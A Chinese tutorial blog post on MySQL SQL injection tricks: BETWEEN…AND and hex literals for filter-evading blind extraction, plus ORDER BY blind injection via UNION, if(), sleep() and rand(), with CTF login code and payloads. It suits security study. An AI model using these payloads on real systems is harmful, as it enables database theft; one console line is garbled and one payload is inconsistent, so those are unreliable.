這篇文章主要給大家介紹了關於SQL注入的2個小Trick的相關資料，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨着小編來一起學習學習吧
前言
最近發現了兩個關於sql注入的小trick,分享一下.下面話不多說了，來一起看看詳細的介紹吧
between and 操作符代替比較符
操作符 BETWEEN … AND 會選取介於兩個值之間的數據範圍。這些值可以是數值、文本或者日期。
between and有數據比較功能
exp1 between min and max
如果exp1的結果處於min和max之間,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user; +----+----------+----------------------------------+-------------------+ | id | username | password | email | +----+----------+----------------------------------+-------------------+ | 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | | 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] | | 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | [email protected] | | 4 | add | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | +----+----------+----------------------------------+-------------------+ mysql> select * from user where id between 1 and 2; +----+----------+----------------------------------+-------------------+ | id | username | password | email | +----+----------+----------------------------------+-------------------+ | 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] | | 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] | +----+----------+----------------------------------+-------------------+
大多數數據庫都支持between and操作,但是對於邊界的處理有所不同,在mysql中,between and 是包含邊界的,在數學中也就是[min,max]
在盲注中應用
between and可以用來在過濾了=,like, regexp,>,<的情況下使用.
mysql> select database(); +------------+ | database() | +------------+ | test | +------------+ 1 row in set (0.00 sec)
1. 配合截取函數使用
mysql> select mid(database(),1,1) between 'a' and 'a' ; +-----------------------------------------+ | mid(database(),1,1) between 'a' and 'a' | +-----------------------------------------+ | 0 | +-----------------------------------------+ 1 row in set (0.00 sec) mysql> select mid(database(),1,1) between 't' and 't' ; +-----------------------------------------+ | mid(database(),1,1) between 't' and 't' | +-----------------------------------------+ | 1 | +-----------------------------------------+ 1 row in set (0.00 sec)
2. 截取函數被過濾
表達式
select exp between min and max
在截取字符函數被過濾的時候,設置min和 max的方式有所改變.
測試1
mysql> select 'b' between 'a' and 'c'; +-------------------------+ | 'b' between 'a' and 'c' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select 'b' between 'a' and 'b'; +-------------------------+ | 'b' between 'a' and 'b' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) mysql> select 'b' between 'b' and 'c'; +-------------------------+ | 'b' between 'b' and 'c' | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec)
測試2
mysql> select 'bcd' between 'a' and 'c'; +---------------------------+ | 'bcd' between 'a' and 'c' | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec) mysql> select 'bcd' between 'a' and 'b'; +---------------------------+ | 'bcd' between 'a' and 'b' | +---------------------------+ | 0 | +---------------------------+ 1 row in set (0.00 sec) mysql> select 'bcd' between 'b' and 'c'; +---------------------------+ | 'bcd' between 'b' and 'c' | +---------------------------+ | 1 | +---------------------------+ 1 row in set (0.00 sec)
由測試可知,當exp爲單個字符時三種區間返回值都是1,但是當exp爲字符串時,當區間爲a-b時,返回值爲0.區間爲a-c或者b-c時,返回值爲1.
也就是在進行字符串比較時,只會包含一邊的值,也就是[b,c).
所以在實際利用時,就要注意區間的範圍.
實際測試
mysql> select database() between 'a' and 'z'; +--------------------------------+ | database() between 'a' and 'z' | +--------------------------------+ | 1 | +--------------------------------+ 1 row in set (0.05 sec) ... mysql> select database() between 't' and 'z'; +--------------------------------+ | database() between 't' and 'z' | +--------------------------------+ | 1 | +--------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'u' and 'z'; +--------------------------------+ | database() between 'u' and 'z' | +--------------------------------+ | 0 | +--------------------------------+ 1 row in set (0.00 sec)
由結果可知,第一個字符爲t
第二個字符
mysql> select database() between 'tatest +----------------------------------+test | database() between 'ta' and 'tz' |test +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'te' and 'tz'; +----------------------------------+ | database() between 'te' and 'tz' | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 'tf' and 'tz'; +----------------------------------+ | database() between 'tf' and 'tz' | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (0.00 sec)
剩下的以此類推.最終爲test.
3. 單引號被過濾
between and還支持16進制,所以可以用16進制,來繞過單引號的過濾.
測試
mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z'; +----------------------------------+ | database() between 0x61 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z'; +----------------------------------+ | database() between 0x74 and 0x7a | +----------------------------------+ | 1 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z'; +----------------------------------+ | database() between 0x75 and 0x7a | +----------------------------------+ | 0 | +----------------------------------+ 1 row in set (0.00 sec)
瞭解order by
order by是mysql中對查詢數據進行排序的方法，
使用示例
select * from 表名 order by 列名(或者數字) asc；升序(默認升序) select * from 表名 order by 列名(或者數字) desc；降序
這裏的重點在於order by後既可以填列名或者是一個數字。舉個例子：
id是user表的第一列的列名，那麼如果想根據id來排序，有兩種寫法:
select * from user order by id; selecr * from user order by 1;
order by盲注
結合union來盲注
這個是在安恆杯月賽上看到的。
後臺關鍵代碼
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql語句就變爲
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
這裏就會對第三列進行比較，即將字符串和密碼進行比較。然後就可以根據頁面返回的不同情況進行盲注。
注意的是最好加上binary，因爲order by比較的時候不區分大小寫。
基於if()盲注
需要知道列名
order by的列不同，返回的頁面當然也是不同的，所以就可以根據排序的列不同來盲注。
示例：
order by if(1=1,id,username);
這裏如果使用數字代替列名是不行的，因爲if語句返回的是字符類型，不是整型。
不需要知道列名
payload
order by if(表達式,1,(select id from information_schema.tables))
如果表達式爲false時，sql語句會報ERROR 1242 (21000): Subquery returns more than 1 row的錯誤，導致查詢內容爲空，如果表達式爲true是，則會返回正常的頁面。
基於時間的盲注
payload
order by if(1=1,1,sleep(1))
測試結果
select * from ha order by if(1=1,1,sleep(1)); #正常時間
select * from ha order by if(1=2,1,sleep(1)); #有延遲
測試的時候發現延遲的時間並不是sleep(1)中的1秒，而是大於1秒。
最後發現延遲的時間和所查詢的數據的條數是成倍數關係的。
計算公式：
延遲時間=sleep(1)的秒數*所查詢數據條數
我所測試的ha表中有五條數據，所以延遲了5秒。如果查詢的數據很多時，延遲的時間就會很長了。
在寫腳本時，可以添加timeout這一參數來避免延遲時間過長這一情況。
基於rang()的盲注
原理不贅述了，直接看測試結果
mysql> select * from ha order by rand(true); +----+------+ | id | name | +----+------+ | 9 | NULL | | 6 | NULL | | 5 | NULL | | 1 | dss | | 0 | dasd | +----+------+ mysql> select * from ha order by rand(false); +----+------+ | id | name | +----+------+ | 1 | dss | | 6 | NULL | | 0 | dasd | | 5 | NULL | | 9 | NULL | +----+------+
可以看到當rang()爲true和false時，排序結果是不同的，所以就可以使用rang()函數進行盲注了。
例
order by rand(ascii(mid((select database()),1,1))>96)
後記
order by注入在crf裏其實出現挺多了,一直沒有總結過.這次比較全的整理了一下(自認爲比較全.XD),就和between and一起發出來了.歡迎師傅交流學習.
好了，以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作具有一定的參考學習價值，如果有疑問大家可以留言交流，謝謝大家對神馬文庫的支持。